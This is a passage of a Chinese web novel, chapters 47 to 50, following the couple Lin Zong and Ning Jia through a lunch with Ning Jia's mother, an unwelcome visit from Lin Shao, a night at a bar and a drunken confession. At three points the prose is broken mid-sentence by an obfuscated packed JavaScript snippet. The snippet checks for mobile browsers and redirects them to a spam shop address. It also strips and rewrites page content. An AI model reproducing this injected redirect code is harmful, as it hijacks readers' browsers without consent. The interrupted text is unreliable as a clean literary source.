包厢里温度适宜,带着空气清新剂的淡香,林纵替许诗瑶倒了杯茶,在这些问题上并没有回避:“还可以。” “还可以”绝对是林纵低调的说辞,因为他一直表现给外人的形象就十分冷淡,能让他这样的人都在意的人必然是很重要的。 许诗瑶放心下来,接了林纵递过来的茶喝完,笑说:“嘉嘉小时候和一个邻居的关系特别好,他家是三姐弟,总是热热闹闹的,每次和小朋友玩好回家,就总是问我什么时候给他生一个妹妹。” 许诗瑶回忆着感叹着说:“嘉嘉小时候太寂寞了,我们那时候照顾一个他都很勉强,所以也没有让他养其他小动物。” “前几年他爸爸过世,我也离开了,一直怕他照顾不好自己,还好有你呀,”许诗瑶看向林纵,欣慰地笑起来,“小纵。” 许诗瑶笑着说:“小纵,你的名字是什么意思呀?” 林纵的记忆里,母亲的形象随着岁月逐渐变慢,有几年浑浑噩噩的时光里,他甚至会生出“我是不是石头缝里蹦出来”的错觉。 八岁,是一个太久远的词语,久到就算林纵想要记住,他当年稚嫩的身体和未发育完全的大脑也不允许他记住那个女人。 可林纵清晰地记得那一年,母亲和他告别时说过的话。 “把你带到爸爸身边,只是因为妈妈没办法再照顾你了。” “小纵,妈妈不需要你大富大贵,只希望你这一生纵情自由,爱我自我。” 可母亲的话太深奥了,林纵回忆了好几年一直没明白那句话是什么意思,渐渐的,想起的时候就少了。 此时突然想到,才明白过来,林纵却回答:“我也不知道,我妈给我取的名字。” 先前吴良仁说的时候,许诗瑶就不明白,这会儿碰上了就想问问:“好像一直没听过你妈妈,她现在在哪呀?” 服务员上菜,林纵把盘子挪到许诗瑶面前,淡淡道:“她去世了。” 许诗瑶一惊,顿时明白自己说错话了,讷讷道:“抱歉呀,我不知道。” 林纵说:“没关系阿姨。” 许诗瑶嗔怪道:“怎么还叫阿姨呢?” 林纵笑了笑,没有说话。 现在的年轻人都奇奇怪怪的,没有旧社会那些旧俗,放开了很多,反而不纠结这些称呼,许诗瑶也没有强求。 只是都问起来了,林纵的脸色看着也不像不愿意说,便多问了几句:“什么时候的事呀?嘉嘉的爸爸也去世了,他告诉过你的吧?” 许诗瑶先前说了一堆,完全没想过替宁嘉隐瞒,如今这找补实在有些太晚了。 “知道。”林纵几乎没有面对长辈的经历,关系最好的闻凯,并不受家里长辈的欢迎,林纵也不需要去碰这些事情。 林纵努力思索着,想要和宁嘉的亲人多说两句话:“嘉嘉和我说过一些。” 许诗瑶知道林纵话少,也见怪不怪,和林纵谈话时总带着温和的笑,是个很善良的没有坏心思的长辈。 不知道宁嘉和生父有几分像,但宁嘉有很多和许诗瑶相似的地方,他们都爱笑,看向一个人的眼神永远纯粹。 “因为他爸爸,嘉嘉小时候受了不少苦。”回忆起来觉得心酸,许诗瑶看向林纵,希望对方在这个时候可以说些什么。 林纵想到了许诗瑶先前问过的话,回答:“我母亲在我八岁的时候去世的。” 林纵的回忆很平淡,语气也很冷淡:“她生病了,活不长了,没有办法养我,才把我送到我爸身边。” 那之后没多久母亲就去世了,林纵穿着林平生给他买的昂贵的衣服,被林平生带着去和妈妈告别。 八岁的林纵在离开母亲后变得光鲜亮丽,病床上的女人面容衰败,她马上就要死了,却笑起来,带着庆幸,因为林纵活得好好的,还好当年她没有害死她的孩子。 只简单的几个字,许诗瑶听得眼睛都红了:“这些年,你一定很想妈妈吧。”不由感叹着,“嘉嘉的父亲不算好,可他去世后,嘉嘉也还是经常想他。” 血缘亲情本来就是很难隔断的东西。 “还好。”林纵的语气有些过分冷漠了,仔细听又好像和先前说“还可以”时没有不同,“十六年了,很多事情,我都想不起来了。” 比如放学后母亲牵着他的手漫步在夕阳后,和他说:“太阳公公要回家啦。” 比如夏日吃着冰淇淋的时候,妈妈会幸灾乐祸:“是不是很冰,牙齿有没有被冰掉。” 又比如告别那天,妈妈不舍得的眼泪流出,难过地说:“小纵,你别怪妈妈。” 林纵都忘记了。 中午,办公室又只剩宁嘉一个人,因为林纵要去吃好吃的,他心生愧疚,也给宁嘉点了一份好吃的。 感谢林少闹事,现在全公司都知道,宁嘉有个又他妈帅又他妈体贴的老公,上班点外卖,下班经常来接,在公司里,宁嘉非常苏爽地体会众人艳羡的目光。 给林纵发的消息没有被回复,不知道他和许诗瑶在说些什么,在这个时候,宁嘉的办公桌突然被敲响,宁嘉抬头,嘴角一抽:“你是不是有病?” 林少顶着一张“邪魅”的笑容,深情地注视着宁嘉,说来也神奇,最开始看上宁嘉确实是因为他的皮相,长得是林少的菜,所以林少很想要。 在之后的相处中,林少又觉得宁嘉不识相,是个不值得被好好对待的人,但现在,林少又改变主意了,他自己也不明白,只因为刚刚宁嘉骂他那一句,他又觉得宁嘉很不一样,这个人再一次深深吸引了他的主意。 “找你有事。”林少笑说。 宁嘉:“?”搁这上演鬼片呢,笑什么笑。 “有事说事,”宁嘉不耐烦地说,“大中午跑到我公司来,不怕被人看见?” 这好像是什么会让人误会的话,因为林少的表情变得古怪起来,宁嘉补充:“你不嫌丢人,我还嫌。” 好,很好,林少气笑了,但是没关系,宁嘉现在做什么他都喜欢得很,怎么看怎么顺眼:“你中午就吃这个?” 宁嘉头也不抬:“我老公点的,我有老公, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623859|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你没有。” 林少:“......” 宁嘉让林少遭受了这么多年从未有过的挫折,他却越挫越勇:“周末要不要来我家?” 宁嘉见鬼似的看着他:“林少,你有什么毛病,我去你家干吗?揍你一顿吗?” 林少伸手要去摸宁嘉的脑袋,宁嘉一下就躲开了,瞪他:“告你性.骚扰信不信。” “不信。”别说现在的法律不三不四的,就算有这种规定,林少的“超”能力也不怕被告。 宁嘉就很烦,他只是想吃个饭:“你有事说事,没事就退下吧,我只是想安安静静吃个饭,你慢走不送。” 林少说:“周末来我家,有事。” 宁嘉问:“要和我道歉吗?也可以,得当着你家佣人的面。” “?”林少:“你别得寸进尺。” “滚滚滚,”宁嘉烦着呢,“我还得寸进米呢。” 林少却不生气,难得在宁嘉面前展现出耐心:“你不好奇吗?林纵的事。” 宁嘉撩起眼皮看他,皱着眉,一脸不耐。 林少说:“我爸知道很多,让他说给你听。” “不用,”宁嘉端着饭盒,整个人背过身去,不想看见林少,只想送客。 真的是很好的时候,宁嘉背对着林少,一颗毛茸茸的脑袋快要拱进饭盒里面,林少没忍住,摸了一把他的头发,宁嘉顿时头皮发麻,动作挺多,怒道:“老子杀了你!” 转过头,林少连影子都不剩。 宁嘉给林纵发消息,气得要死:我要请假!我要回家洗头! 林纵没回。 宁嘉:林少那个狗比是不是脑子有问题,竟然敢摸爷的头发!! 宁嘉:我不干净了!!! 不知是真情还是假意,吃饭全程,许诗瑶都在说宁嘉小时候的事,大多数时候,宁嘉好像都在受苦,许诗瑶也知道自己这个妈当的并不合格,与其说是父母照顾孩子,不如说孩子自己长大了。 宁嘉像一颗坚韧不折的小草,在风中飘飘扬扬风吹日晒,能成长到如今的样子,全靠他自己。 许诗瑶很唏嘘:“嘉嘉有时候脾气不好,是因为他一个人出主意惯了,我们是第一次当父母没什么经验,很多时候只顾着自己,”她看向林纵,笑笑,“要麻烦小纵多照顾嘉嘉啦。” 林纵说好。 许诗瑶说:“嘉嘉的父亲去世后,我认识了良仁,嘉嘉高三毕业后,我跟着良仁来了予市,这些年,嘉嘉一直是一个人生活。” “只是他去大学,我也不太方便再在身边照顾了。” 林纵静静地听着。 “嘉嘉对良仁有误解,这不怪他,有时候我想到阿奇,也会觉得他更好,”阿奇就是宁嘉父亲的名字,许诗瑶说,“但是良仁是把嘉嘉当亲生儿子看待的,他在事业上有困难,想找嘉嘉帮忙,嘉嘉却不愿意。” 难为许诗瑶,说了大半天才到重点,林纵淡淡道:“吴良仁自己有儿子。” 惊讶林纵的没有礼貌,许诗瑶却没有表现出来,只说:“小华自己有事业,良仁找他不太方便的。” 林纵说:“吴良仁没本事吃得下那个项目,他要学会放手。” 许诗瑶说:“你帮帮叔叔就有了呀。” 林纵看向许诗瑶,用宁嘉见惯了很温和的学长式笑容对她说:“阿姨,宁嘉的父亲只有一位,他打赌弄得你们家破人亡,这样的人宁嘉也想要,却不愿意认吴良仁,您觉得是为什么?” 如同被戳破了谎言,许诗瑶面容惊悚:“小纵,你......” “阿姨,”小纵站起来,耐心耗尽,“您是宁嘉的母亲,我永远尊重您。但您荒唐不代表宁嘉和我也要陪着您荒唐,来之前嘉嘉和我说了,他说你什么都知道,还是没那么在乎他而已。” 林纵说:“嘉嘉很伤心。” 48. 第 48 章 和许诗瑶谈话结束,林纵才有空看手机,给宁嘉回拨了电话过去:“吃饭了吗?” 像是一个信号,宁嘉明白过来,两人的会面是结束了。 宁嘉本意想要抱怨了,骂一骂林少这个狗比竟然敢觊觎他的美貌。 可不知道为什么,一听到林纵的声音,宁嘉想问的又是别的事了,有些不甘心又不自信地问:“我妈找你借钱了吗?” 林纵向来不屑于骗人:“嗯。” “哎。”宁嘉叹了口气,“家门不幸,老妈不争气。” 林纵笑了下,不太在意这个事,就像宁嘉在意的是许诗瑶一样,林纵问:“林少来找你了?” 这事提起来又是一肚子火,宁嘉龇牙咧嘴,说起来就难受得很,骂道:“他真的有毛病,莫名其妙对我笑,还摸我头发,还要我去你家,说林平生要给我讲故事。” 林纵倒是不在意林家父子打出来的感情牌,林平生最擅长这一套,而林少...... 林纵似乎很认真地在说:“林少喜欢你。” 宁嘉被恶心得一哆嗦:“别说的这是什么好事。” “因为你够优秀才会吸引到旁人,”林纵笑了笑,和宁嘉的想法不太一样,“林少也不是什么普通的苍蝇,希望这样能安慰到你一点。” 宁嘉一脸丧气地趴在桌上:“并没有。” 林纵知道,宁嘉在意的并不是林少,便也没再说:“林少让你去林家,你答应了吗?” “当然没有!”宁嘉扬声道,“你去我才去啊。” 林纵笑了笑:“嗯,不要去。” 宁嘉反而好奇心起,追问:“为什么啊?” 林纵一点都不幽默地说:“因为林平生讲故事的能力不好,你不会想听的。” “好吧。”宁嘉于是也没有多问。 但许诗瑶找林纵这件事,还是严重刺激到宁嘉了。 以防万一,宁嘉早退了,反正他这段时间也不是很想上班,公司里的同事对此持观望态度,一向对员工严格的领导也一反常态没有多说。 宁嘉走后,办公室里陆续出现了不满和议论声,不知道是谁,突然说了一句:“有什么好吵的,他这个样子,一看就不会久待,迟早要辞职的。” 这种时候,应和声起:“早就该辞职了啊,闹到这种地步了还不走,图什么。” 陈佳,也就是工位在宁嘉边上的姑娘,气个半死:“说什么呢你,他做错了什么?” 做错了什么? 谁知道。 但有必要吗,非要在这种注定引起哗然的地方长久地待下去。 江软还在上班,办公室门被敲响,抬头。 江软:“......” 吗的,惊悚片也不过如此。 江软脸都绿了,呸,脸都黑了:“你怎么来了啊!” 宁嘉入内,关门,一气呵成,揣着手臂显然是来兴师问罪了:“麻烦你给我解释一下,换密码是什么意思?” 江软笑嘻嘻的,显然是打算这么应付过去,这有什么为什么,宁嘉聪明一生,竟然如此糊涂。 下班时间也快到了,江软整理完工作,关了电脑,胳膊往宁嘉肩上一搂,轻佻一笑:“哥们带你去酒吧耍。” 宁嘉提要求:“贵的?” “嫁入豪门就是不一样哈,”江软调笑道,“便宜的都看不上了。” 宁嘉垂头丧气,靠在江软肩上装可怜:“今天不高兴,想花你的钱。” 真是见鬼了,江软简直要被气笑:“花我的钱你就高兴了啊?” 宁嘉脑袋蹭蹭,当做点头。 “行的,”江软摸出手机,找找那家店是他没有带宁嘉去过的,要去就得去个新鲜,“既然爱妃有要求,寡人必然要满足你的。” 宁嘉就知道江软这朋友他没有交错。 江软在刷手机,宁嘉昏昏沉沉靠在江软肩上发呆,忽然一阵声音幽幽响起,宁嘉坐直,瞳孔瞪圆,难以置信地寻找声音来源。 宁嘉很少看鬼片,但恐怖片中鬼怪出现时会搭配上这样的音效,宁嘉觉得自己见鬼了,真见鬼了。 江软莫名看向他:“怎么了你。” 宁嘉惊恐:“软软,什么声音?” 江软哭笑不得,挥挥手机:“我的手机铃声。” “......”宁嘉惊魂未定地软了回去,此刻他柔弱不能自理:“干吗要用这么吓人的铃声。” 江软哈哈大笑,接起电话:“什么事?” 打电话的是闻凯,前段时间他们出去玩的时候勉强加上的联系方式,实际上也没有聊过天,这电话打的莫名其妙。 闻凯的声音吊儿郎当的:“晚上要不要出来玩啊?” 江软不太管少爷圈子里那些事,不知道闻凯的具体身份也没有去了解过,此刻只觉得这位才是玩咖,只是正好玩到他头上来也算凑巧,便问:“去哪玩?” “酒吧吧,”闻凯说,“有没有兴趣?” “行啊,”闻凯这提议正中下怀,江软问,“哪个酒吧,给个位置。” 闻凯望着窗外亮到发光的天,说:“现在就去啊?天还没黑呢,你们先去吃饭。” “?”江软:“我们?除了我还有谁?” 闻凯吹一声口哨,竟然好听得很:“宁嘉啊,别说他不在啊,他要是不在,你晚上就不用来了,反正也不是我要带你玩。” 江软真他妈日了狗:“......” 他就说闻凯怎么这么好心,好以为这厮看上自己,正想着要怎么义正严词地拒绝呢。 “你知道怎么宁嘉在我这?林纵告诉你的?”江软激情质问,“他还搞跟踪人这一套?” 听到林纵的名字,在椅子上瘫了半天的人突然眼前一亮,坐起来,目光灼灼地看向江软。 江软:“......” “有没有点出息。”江软骂道。 闻凯:“谁?” “没说你。”江软把宁嘉脑袋按走。 “哦。”闻凯不太在意地说,“我不知道宁嘉是不是在你那,林纵猜的,他让我约你试试,宁嘉在,就晚上一块玩,如果不在,你就哪凉快哪玩。” 江软这一生放荡不羁爱自由,从来没有在谁那里吃过这样的亏,真要严格说起来,那还是宁嘉的错,如果宁嘉不和林纵在一起,江软也不会受到林纵这样的侮辱。 想到这里,江软更气了,一巴掌拍在宁嘉身上。 宁嘉:“?” “干吗?”他问。 江软微笑:“晚上请你吃饭,高兴吗?” 宁嘉的重点完全歪了:“学长也来吗?” 江软:“......” 闻凯下班最早,接到林纵的电话后,心情不太美妙,问道:“为什么?” 林纵措辞一点都不严谨,语气听着也充满了敷衍:“很久没聚了。” 闻凯呵呵:“这话我信?” 林纵淡淡道:“你尽量信吧。” 闻凯就很气。 酒吧有阵子没去了,今天过去时间也算刚好,当初选址的时候,闻凯偷了个懒,特意挑了个离自己这边近的,反而林纵每回过来要开很远的路。 酒吧雇了人打理,闻凯作为老板通常连钱都没有收到,不是亏损就是刚刚好,打理的这位相当不上心,就没有想过替他老板发家致富。 闻凯到的时候陈楚也刚到,卷帘门一声巨响拉到了头,闻凯在后头骂:“下手轻点,不花你钱是吧。” 陈楚回头看他,笑起来:“今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639069|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天来这么早?林纵来了吗?” 这小子和闻凯一个年纪,长相却很斯文,一脸小生气,说起来话来又没大没小,老气横秋的。闻凯冷哼一点:“别惦记他了,都是结了婚的人了。” 陈楚也不生气,笑笑。 林纵不在闻凯面前笑,所以闻凯也不知道对比,但如果宁嘉在,就会知道,陈楚这样的人爱笑是天生的,他笑里什么都没有,但林纵不一样,林纵的笑有太多要隔绝人接近的意思。 闻凯难得来这么早,便帮着陈楚收拾,陈楚开门通风扫地擦桌子,闻凯自己从后面捡出瓜子盘花生盘还炸了盆爆米花,放到二楼最角落的一桌。 陈楚在身后喊:“楼上还没收拾呢。” 闻凯头也不回:“谁让你昨天不收拾。” 陈楚说:“困都困死了。” 闻凯:“你是老板你说了算。” 收拾完楼下正要上楼,门口的风铃响了,陈楚转头,闻凯从二楼探出半个身子,江软叽叽喳喳的声音传进来:“啊,这里穷乡僻壤连个人都没有,开个破酒吧能有生意吗?” 宁嘉真怕江少爷被打。 陈楚朝二人笑笑,一点都不阴阳怪气地说:“现在还没开门,二位要不要出门等一等。” 闻凯差点笑到掉下去:“楚,别闹,江家小少爷和林纵的老婆,你谁都得罪不起。” 江软抬头,震惊:“你真不怕掉下来。” 陈楚就没有管两人,拿着扫把上楼去了。 闻凯朝二人挥挥手,两人紧随其后也跟了上去。 “林纵还没来?”江软问。 闻凯推推瓜子盘:“要什么酒自己下楼拿,调酒等等,调酒师还在扫地呢。” 陈楚瞪过去,闻凯朝他飘了个媚眼。 江软抖抖身上的鸡皮疙瘩,又带着宁嘉下楼去了,嫌弃道:“这地方这么冷清,闻凯干吗要来这啊,你看看那个扫地的态度这么差。” 闻凯的声音从二楼传下来:“江少爷,这酒吧是我和林纵花钱开的,你可以侮辱我的人品,但是不能侮辱我的事业。” 江软:“......” “另外,”闻凯又说,“我们家这位调酒师护短得很,要不是你羞辱他老板的事业,他也不会给你脸色看。” 江软再次:“......” 宁嘉赶紧让江软闭嘴,两人在酒架前挑来挑去,宁嘉有一种突然被彩票砸中的感觉,傻里傻气地笑,傻兮兮地想:嘿嘿嘿,这些酒都是我的,但是我酒精过敏。 宁嘉:“......” 身后风铃声响,被风声带动,铃铛的声音反而不明显了,江软满脑子好多酒好多酒,宁嘉满脑子我过敏我过敏,二楼闻凯再次探出脑袋在看,挥挥手陈楚也放下扫把过来看热闹。 林纵站在宁嘉身后,问:“想好了吗,要喝什么?” 突如其来的声音,吓宁嘉一跳,转头看见林纵,惊喜地往林纵身上跳:“学长,你来了啊。” 多余,就很多余,江软抱了两瓶酒跑了。 楼上,闻凯看看陈楚,陈楚看看闻凯,闻凯说:“你坐你坐,我来扫地。” 陈楚:“......” 林纵有时候觉得人活在世上特别没有意思,中午和许诗瑶吃饭的时候会这么觉得,下午林平生一时兴起来公司看他的时候,也会这么觉得。 林纵在八岁那年就知道人性是什么样子,十几年的成长只让他对这些东西更加深恶痛绝。 这些人啊,这些人性啊,这人世啊,没有值得他留恋的东西。 可此时此刻,他怀里抱了个柔软的温暖的因为见到他而变得很高兴的宁嘉,又觉得其实还好,也不是全都是糟糕的。 人间不值得,但人间总有值得。 49. 第 49 章 沮丧,失落,挫败,在看见林纵的那一刻全都做变了欣喜,宁嘉抛开拘束,只拥有本能,忍不住扑向林纵:“学长,你来了啊。” 抱到之后才觉得尴尬,林纵身上有属于他的好闻的味道,这种味道最浓郁的时候往往宁嘉和林纵距离也很近。 但他们好像一直都只是身体在靠近。 宁嘉讪讪地想要后退,绷直了后背,手臂松开,林纵却抱住了他,胳膊环着他的腰,拖着人,一声不吭要往楼上走。 “等等等,”宁嘉像是个娃娃,被林纵轻飘飘地抱着,似乎没什么重量,又害怕自己掉下去,不得已更加用力地抱住林纵,“学长,我还没拿酒。” 林纵又用这个姿势把宁嘉拎下去,两人在酒架前都是贴在一起的,酒吧里就他们五个人,没有外人,林纵粘人的不讲道理,圈住宁嘉,一步都不让他离开。 宁嘉的注意力全在林纵身上,耳边有林纵温热的呼吸,鼻尖嗅到林纵身上好闻的味道,后背和前胸相贴体温炽热。 “没挑好吗?”林纵问。 宁嘉一句话说的磕磕绊绊:“学、长,江软,他们在看......” 林纵轻笑一声:“那又怎么样?” 宁嘉:“......” 林纵这一整天过的并不开心,可看到宁嘉,却心起恶劣,弄不住逗弄他。 这里是林纵的地方,除了江软外都是林纵认识的人,宁嘉实在是不适应。 林纵却没打算松手,只是转移了话题:“你不是酒精过敏吗?” 宁嘉实在受不了林纵这么在他耳边说话,声音一起,带着气流,他就忍不住想躲,又不敢再提:“喝一点低度数的没事。” 林纵便问:“我给你挑?” 宁嘉问:“学长,你还懂这些吗?” 林纵今天似乎心情很好,又在笑了:“闻凯是不是没告诉你,这酒吧是我和他开的。” 宁嘉惊了,转头去看林纵:“这竟然真的吗?” 这个动作让两人一瞬间靠得过分近,闻凯在上头悠悠开口:“恕我直言,外头有客人来了,两位。” 那一瞬间,宁嘉觉得自己是电视剧里的女主角,因为臊得慌,惊慌失措到差点摔倒,被林纵刚好抱住。 宁嘉:“......” 闻凯吹口哨。 江软吹不来“吁”了一声。 陈楚嫌这两人败坏酒吧风气,拎着扫把准备下楼收拾这对狗男男。 林纵镇定自若,让宁嘉站好,松开手,拿出他给宁嘉挑的酒,牵着宁嘉的手,不紧不慢地上楼。 楼上,闻凯还在骂骂咧咧:“老子认识这种朋友真是倒八辈子血霉了。” 这句话摆明了是说给林纵听的,林纵和没听见似的,牵着宁嘉入了座,江软和林纵打招呼,林纵便和他点了下头,视闻凯如石头。 闻凯:“?” 其实他们今天见面并没有什么要做的事,上周末才见过,今天再见仍处于两看相厌的状态。 林纵给宁嘉挑的酒度数很低,喝起来和饮料差不多,江软磕着瓜子,纳闷:“我们今天,到底为什么相聚在这里?” 闻凯从口袋里摸出烟,被林纵睨了一眼,默默收回去,接茬:“因为爱。” 江软:“?” 闻凯就一直不能理解,林纵护犊子似的护着宁嘉的行为,怎么也是二十多岁的人了,至于像养儿子一样怕磕怕碰吗。 烦人。 最开始宁嘉找江软,是不知道该怎么面对林纵。 可事实上就算只有宁嘉和江软,那些话,宁嘉也不打算和江软说。 这会儿林纵正在和闻凯说话,他没有提起白天见到许诗瑶的任何事,宁嘉却慢慢安心起来,甚至有种一了百了的爱怎么着怎么着的心情。 宁嘉后来脸上带了点醉意,被情绪激的掺和着酒精的脑子晕乎乎的,感觉却很美妙。 江软拖着宁嘉要打牌,宁嘉非要让陈楚拿骰子,陈楚一脸无奈地看着闻凯和林纵,闻凯直笑:“你都拿不就好了。” 陈楚看着自己被两人各扯一边的胳膊:“那麻烦让他们两个先放手。” 江软、宁嘉异口同声:“不行!” 陈楚:“......” 闻凯笑得前仰后翻:“陈老板,你也有今天啊。” 陈楚:“......” 闻凯向来不酗酒,身边朋友也没有像江软这么疯的,他看得佩服,抬抬下巴,指着另一位陪江软发疯的:“你们家这个什么情况?” 宁嘉大嗓门:“你当着我的面说我的坏话?!” 闻凯:“......哪来的癫公。” 夜色正浓,音乐温柔,夏夜的风是温热的又带着凉爽,宁嘉的脚步是愉悦而轻飘飘的。 散场后,宁嘉被林纵带走了,宁嘉在酒吧门口朝江软挥手:“软软,再见啊!” 江软是真喝多了,没骨头似的软在闻凯身上,怒道:“别他妈叫我软软。” 闻凯拉不住,这两人差点打起来。 江软走后,宁嘉在酒吧门口摇摇晃晃,林纵叫的车来了,宁嘉又不肯上去,他眼睛黑得发亮,又带着湿润的光:“学长,我想和你待一会儿。” 林纵理解着宁嘉的意思,问:“那我们走走?” 宁嘉点头,司机又被打发走。 宁嘉在路上摇摇晃晃的走,被林纵牵着手,一条直线走成了波浪,还蹲在地上傻笑:“哈哈哈哈哈,学长,你看我走得好不好?” 醉鬼不讲道理,有些话明明是白说,林纵还是想问:“你不是酒精过敏,就是酒量差吧?” “才不是!”宁嘉伸手想拉林纵的手,林纵便把手伸过去,宁嘉拉住,晃晃,“我以前很能喝的!可以把江软喝倒!” 林纵问:“以前是什么时候?” 宁嘉歪着脑袋想想:“以前就是以前啊,”他说,“学长,你能不能背我?我走不动了。” 哪怕回到五年前,哪怕宁嘉还清醒,也不会说出这样的话,但他今天反正都稀里糊涂了,也不想当什么正经人,他晃晃林纵的手:“啊,好不好,啊?” 林纵因为时常应酬,在没有喝到烂醉的时候,反而越喝越清醒,他其实是理智的看着宁嘉在发酒疯,居高临下地俯视,目光冷淡:“你要我背你?” 宁嘉眼神涣散,勉强聚焦在林纵脸上,耷拉着眉眼,像是无家可归的小狗,可怜巴巴:“不可以吗?” 林纵点头:“可以。” 宁嘉开心起来,爬上林纵的背,宽阔的温暖的后背,却让他瞬间鼻酸,埋头在林纵脖颈,犹豫着的,一直说不出口的话,还是问了出来:“学长,你会不会讨厌我啊?” 林纵背着宁嘉,脚步平稳,平静地问:“为什么讨厌你?” 宁嘉吸了吸鼻子,垂头丧气,嘴唇不管不顾地贴着林纵:“因为我妈找你借钱,她不讲道理,你会不会不高兴?” “不会。”林纵说。 宁嘉就问:“为什么啊?” 许诗瑶讲不讲理林纵不知道,但宁嘉现在就挺不讲道理的,林纵想了想,问:“我现在告诉你,你明天还会记得吗?” 宁嘉歪头,思考了一下林纵的话,很实诚地说:“应该不会。” 林纵笑了下,偏头碰到宁嘉的侧脸,蹭了蹭:“那我就不告诉你。” “哦。”宁嘉还是一如既往地沮丧。 林纵在笑,眼睛眯起来,宁嘉感觉到了,于是伸手摸了摸他的眼角,听见林纵说:“但是我可以告诉你点别的。” 宁嘉慢吞吞地问:“什么啊?” 林纵笑说:“你明天会忘记的话,我就告诉你。” 宁嘉伸手四根手指,发誓:“我发四,我肯定会忘记学长今天和我说的话。” 林纵说:“我喜欢你。” 宁嘉果然不知道林纵在说什么,一张口,还是:“哦,那你好厉害哦!” 林纵:“......” 路灯把两人的身影拉得很长,林纵颠了颠宁嘉,两人的影子也跟着抖了抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655814|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,宁嘉看着看着,很郁闷地问:“学长,我是不是很重?” 林纵:“嗯?” 宁嘉闷闷地:“和头猪一样,你都背不动。” 林纵简直拿他没办法,没见过有人喝多了说自己是猪的,还得和喝多的酒鬼解释:“你快掉下去了,不颠一颠,就掉地上去了。” 宁嘉乱七八糟地问:“和颠锅差不多吗?” 林纵荒唐地解释:“我没给你翻面。” 应酬的时候最怕碰到喝醉的人,酒品太差,勾肩搭背一身酒气要和你当兄弟,林纵几乎没有醉过,因此对这样的人向来反感。 这还是第一次知道,原来还有宁嘉这样的,宁嘉环着林纵的脖子,什么话都敢说:“那你在床上会给我翻面的。” 林纵:“......” 宁嘉醉醺醺的,脑子也不好使,还非要缠着林纵说话,平时就是话痨,现在话更密了:“学长,你说我妈怎么这样啊,她太过分了,她都不在乎我的感受,我是她生的,她还想给别人当后妈,那个讨厌的儿子还不稀罕她呢。” 林纵不知道怎么回。 宁嘉又念念叨叨:“我见过那个吴华,长得又不好看,还那么老气,给我妈当弟弟还差不多。” 林纵:“......” 林纵不回,宁嘉继续说:“都怪我爸,他要是不打赌,我妈肯定还喜欢他的,他也不会出车祸,那现在我们还是一家人了。” 有些话大概只有这种时候才说得出口,酒精让他毫无顾忌,闷在心里从来没有说话的话,原来也可以说出口,眼泪也可以流。 林纵感觉到有温热的液体滑进他的脖子,慢慢的如同人心般冷下去:“糟老头子坏得很,他自己死了就死了,怎么还把我留在这啊。” 周遭的风突然静了,宁嘉很小声的呜咽了一声。 林纵脚步不经意地停顿了一拍,轻声问:“在我在一起不快乐吗?” 这下宁嘉直接哭出来了声:“哇呜——” 林纵:“......” 宁嘉边哭边质问:“你当初为什么走了啊。” 林纵:“......我什么时候走了。” 宁嘉含糊不清地叙述,非要问问林纵为什么,他在这一天,稀里糊涂地想起了很早之前的事:“你都不和我们去唱歌,我等了好久,你都没有来。” 在宁嘉颠三倒四的形容里,林纵渐渐明白他说的到底是哪一次。 那大概是大学最后一次和部门里的人一起聚餐,那年宁嘉大一,那场聚会像个交接仪式,林纵正式从部长的位置上退下来,通过那次聚餐,看看部门里这些新进的血液。 有很多大一新生加入了学生会,每一个人,林纵都看过一遍,打过招呼,大部分名字都没有记住,可他记住了宁嘉,记得他的名字长相和耀眼的性格。 最开始是在酒店里吃饭,四五桌酒,五六十个人,桌子上该喝的酒都喝过了,再去唱歌,林纵就没什么兴趣。和大二的准部长道了个别,带着大三几个人一起走了。 林纵向来不在意他不在意的人,对宁嘉在意也仅仅是觉得宁嘉不太一样,这不至于让他对人生某个阶段的过客多看几眼,因为没有必要。 但原来那天宁嘉是等过他的,宁嘉坐在包厢的沙发角落,听朋友唱着歌,饮他人劝的酒,无数次朝包厢的门口看去,等门开,等人来,但林纵一直没来。 “抱歉,”林纵说,“我不知道你在等我。” 宁嘉哭得稀里哗啦,反而没多少悲伤的情绪了,问道:“你如果知道我在等你,你会来吗?” “想听真话?” “嗯。” 林纵说:“不会。” 宁嘉:“......” 林纵:“如果那是我们最后一次见面,见或不见,并没有太大差别,没有意义。” 宁嘉:“......” 林纵:“?” 片刻后,宁嘉:“哇呜呜——” 哭声惊天动地,像在杀猪。 50. 第 50 章 宁嘉嚎了一会儿,累了,冷静下来,松开林纵的脖子想要下来。 林纵没让,问:“怎么了?” 宁嘉也不知道。 回想那天,他是明白的,林纵不来是再正常不过的事,宁嘉也不知道当年的自己为什么那么执着地想要看见林纵,总觉得他会来。 更奇怪的是,偏偏在这一天,他会想到这件在那年发生的后他并不介意的小事。 